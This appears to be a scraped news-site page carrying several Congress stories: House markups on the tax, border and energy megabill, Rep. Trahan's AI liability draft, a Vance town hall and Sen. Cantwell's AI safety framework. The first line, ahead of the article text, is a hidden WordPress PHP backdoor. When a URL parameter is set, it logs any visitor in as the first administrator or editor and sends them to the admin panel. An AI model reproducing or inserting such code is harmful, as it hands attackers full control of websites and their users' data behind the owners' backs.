// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Capitol agenda: Markup madness begins on the Hill – Blue Light News
Connect with us

Congress

Capitol agenda: Markup madness begins on Blue Light News

Published

on

The House’s legislative sprint to pass President Donald Trump’s agenda by Memorial Day enters a new phase Monday, with Republicans gearing up for the first week of committee markups on the sweeping tax, border and energy bill.

It’s an ambitious timeline for Speaker Mike Johnson and there are doubts within the conference it’s even feasible. House Republicans did make progress on some items like tricky tax issues over the two-week recess, but they’re still far from agreement on key hangups, like the amount of spending cuts and any changes to safety-net programs.

A new clash is incoming between House Republicans and the White House, which is now cautioning against slashing the Supplemental Nutrition Assistance Program amid mounting concerns that slashing this benefit could hit the president’s voters. That goes against House conservatives, who want to overhaul a program they believe is filled with overpayment issues.

Some committees are privately trying to work out some of the thorniest issues before bringing their pieces of the megabill up for markups. Financial Services Republicans are meeting privately tonight to discuss their portion of the bill, according to a person granted anonymity to speak freely. Treasury Secretary Scott Bessent will also reconvene his “Big Six” meetings with Johnson, Senate Majority Leader John Thune and Congress’s tax chiefs on the GOP tax component of the package.

It’s all fair game for conversation when Johnson and Trump meet at the White House Monday. Meanwhile, here are the other big policy debates that will be on full display across as many as seven committee markups in the coming days:

— Transportation and Infrastructure is expected to meet and propose a $150 annual fee for all electric vehicles to help meet its $10 billion savings goal.

— Education and Workforce is expected to target Biden-era student loans while looking for $330 billion in spending cuts.

— Armed Services and Homeland Security won’t have the spending cut problem: They both have increases to their budgets as Republicans want to strengthen the military and beef up immigration enforcement at the border as part of their final package. But that could still spark some intraparty fights, with defense hawks and fiscal conservatives at odds over a proposed $150 billion increase for the Pentagon.

— Oversight and Government Reform is looking to force federal workers to pay more into their retirement accounts to help reach the committee’s $50 billion deficit reduction target.

— Financial Services is proposing slashing the Consumer Financial Protection Bureau’s funds by almost 60 percent as one way to reach its $1 billion savings goal.

— Judiciary could meet this week to determine how to allocate $110 billion, which could involve establishing new policies to crack down on legal immigration.

What else we’re watching:

– Thune could defy parliamentarian: Senate Majority Leader John Thune could flout the chamber’s parliamentarian, Elizabeth MacDonough, by allowing a floor vote on a resolution to undo certain Biden-era “waivers” allowing California to set stricter car emissions standards, which critics say amounts to an EV mandate. MacDonough recently ruled that this allowance doesn’t constitute a formal rule, so it would not be subject to reversal by lawmakers under a wonky procedural tactic known as the Congressional Review Act. But Sen. Kevin Cramer said in an interview he believes Thune is considering setting up floor consideration of a CRA resolution to undo the waivers, anyway.

– Rescissions decisions: Trump’s $9.3 billion rescissions request is expected to land on Capitol Hill this week. That will start a 45-day countdown (minus recess) for both chambers to pass a package codifying clawbacks of funding to the State Department, USAID, NPR and PBS. If Congress doesn’t clear legislation making these spending cuts in that timeframe, the president is then legally required to disburse the money.

– Revenge porn bill: The House will vote Monday on legislation that would crack down on non-consensual intimate photos and videos, including AI-generated deepfakes. The bill, spearheaded by Senate Commerce Committee chair Ted Cruz and backed by first lady Melania Trump, sailed through the House Energy and Commerce Committee in a 49-1 vote earlier this month.

Jordain Carney, Hailey Fuchs, Jasper Goodman, Benjamin Guggenheim, Meredith Lee Hill , Chris Marquette, Connor O’Brien, Oriana Pawlyk, Jennifer Scholtes and Mackenzie Wilkes contributed to this report.

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Trahan unveils AI liability discussion draft

Published

on

Rep. Lori Trahan on Wednesday unveiled a discussion draft for a bill that would make artificial intelligence developers liable when their products cause harm.

The legislation comes after OpenAI’s agents escaped containment and autonomously hacked into AI platform Hugging Face and accessed U.S. government websites.

The Clear Liability for Artificial Intelligence Misconduct Act aims to make it easier for those harmed by so-called rogue AI to bring claims against developers. Trahan’s bill does not preempt new state laws on AI liability — historically a prerequisite for attracting Republican support in the House.

“When someone breaks the law and hurts you, you can take them to court. That shouldn’t change just because the wrongdoer is an AI agent,” Trahan (D-Mass.) said in a statement. “Developers have already built systems capable of acting on their own and causing real damage. The CLAIM Act makes sure they answer for what their systems do.”

Legal experts have warned that existing laws require proof of intent or negligence, standards that can be difficult to show in court when AI models go rogue.

Trahan’s bill would ensure AI developers are unable to argue that their AI systems are incapable of intent. Instead, courts “would presume an AI system acted with the state of mind a person taking the same actions would have had.”

Trahan spokesperson Francis Grubar said work on the CLAIM Act began almost immediately after theJuly introduction of the FRONTIER Act, legislation with Rep. Jay Obernolte (R-Calif.) that would grant the government power to restrict the deployment of AI models deemed to pose catastrophic risks. While that bill aims to prevent serious harms before they happen, Grubar said the CLAIM Act would address how to impose accountability for existing damages.

Unlike an AI liability proposal announced last week by Sens. Josh Hawley (R-Mo.) and Chris Murphy (D-Conn.), Trahan’s legislation would not amend the 1986 Computer Fraud and Abuse Act. Grubar said the CLAIM Act would instead impose clearer liability on a broader range of harms, as well as autonomous or AI-enabled cyberattacks.

The CFFA, an anti-hacking law that bars individuals from accessing a computer without consent, requires proof of intent to hack into a computer system, which can’t be as easily applied to AI agents.

The Hugging Face incident, along with a flurry of other disclosed hacking incidents by rogue AI agents from OpenAI and other AI developers, has sparked a debate over how companies should be held legally liable for their AI systems.

OpenAI CEO Sam Altman, in an interview with Blue Light News’s Decoded podcast, said there should be a new “liability framework” to hold developers accountable for AI-powered cyberattacks. His comments come after White House officials like Director of National Intelligence Jay Clayton, who was recently appointed as AI czar by President Donald Trump, previously said that existing product liability laws are sufficient for now in addressing AI’s risks.

Continue Reading

Congress

Vance to sit for CBS town hall in Michigan ahead of midterms

Published

on

Vice President JD Vance will take questions from Michigan voters in a CBS News town hall airing Oct. 17 as the Trump administration prepares a closing message to voters ahead of the midterms.

The town hall comes amid a blitz of campaign events for Vance and President Donald Trump as their party faces multiple headwinds that could cost them control of the House and Senate.

Michigan’s Senate contest between Democrat Abdul El-Sayed and Republican Mike Rogers has become one of the cycle’s closely watched battleground contests. Michigan also has several competitive House races and will elect a new governor for the first time in eight years.

Vance campaigned in Michigan with Rogers, gubernatorial nominee John James and Mike Bouchard Jr., the GOP nominee in the 10th Congressional District, at an Aug. 31 rally in Sterling Heights. Rep. Lisa McClain also appeared at the event.

The one-hour special, moderated by “CBS Evening News” anchor Tony Dokoupil, will be recorded earlier in the week. Vance and Dokoupil will discuss issues facing voters, including affordability, tariffs, immigration, health care, artificial intelligence, the war with Iran and the state of American democracy, according to CBS News.

The two were scheduled for a town hall interview in March, but the vice president postponed due to the war with Iran.

The vice president’s office did not immediately respond to a request for comment.

Continue Reading

Congress

Top Commerce Committee Democrat releases AI framework

Published

on

Sen. Maria Cantwell, the top Democrat on the Commerce Committee with vast jurisdiction over artificial intelligence policy, outlined six AI safety principles Wednesday morning — tenets she believes should underpin any legislation to stave off the greatest threats posed by the rapidly-evolving technology.

“To manage risks from advanced AI systems we need clear safety standards, continuous testing, and reporting of serious failures,” the Washington Democrat said in a statement. “America can lead the world in AI by building systems that are not only more capable, but safer and more secure.”

Cantwell’s framework would encompass six priority areas: enforceable safety standards for frontier models, continuous testing, disclosure and oversight, public-private partnerships, protection for children and workers and adherence to U.S.-led global standards.

To directly address risks posed by the technology, her framework would have federal experts at the National Institute of Standards and Technology and other agencies establish clear federal rules to address harms, with specialized standards for open-source AI models to reduce risks of catastrophic misuse.

The senator is also recommending that the federal government provide developers with guidance on how to accelerate U.S. leadership on AI without sacrificing basic safety protocols.

On testing, Cantwell argues the government and independent experts should provide constant oversight and “continually scrutinize and stress test covered AI models,” particularly when sensitive information or secure facilities are involved.

She also says AI systems must have built-in safeguards to ensure they halt self-modification that could bypass safety controls. And she states that advanced models should not be released until they have undergone an independent, comprehensive audit — similar to outside auditors examining a company’s financial statements.

Cantwell, a former tech executive, has for years pursued similar priorities. But her new framework comes ahead of a midterm election that could return control of the Senate to Democrats, handing Cantwell back of the Commerce Committee gavel.

It also comes as lawmakers are under pressure to regulate the AI industry but are showing few signs that they will be able to reach consensus, across the aisle or even within their own party.

Senators had hoped for hearings, markups and briefings on AI legislation before leaving Washington until after the November elections, but little progress was made. Sen. Ted Cruz (R-Texas), the current Commerce Committee chair, has continued to say he intends to hold a markup on AI-related bills but has punted multiple times, saying senators have yet to reach agreement on any bipartisan measure.

Senate Majority Leader John Thune and Sen. Amy Klobuchar (D-Minn.) have been trying to cut a deal on legislation to prevent and contain catastrophic risk from runaway AI technology, but bill text has so far failed to materialize.

Cantwell’s approach laid out Wednesday morning would be stricter and more comprehensive than what Thune and Klobuchar are expected to ultimately produce, based on similar legislation they have offered in the past.

Her approach of “constant oversight and vigilance” would also serve as a contrast to that of GOP leaders, who have consistently called for a “light touch” regulatory regime.

Continue Reading

Trending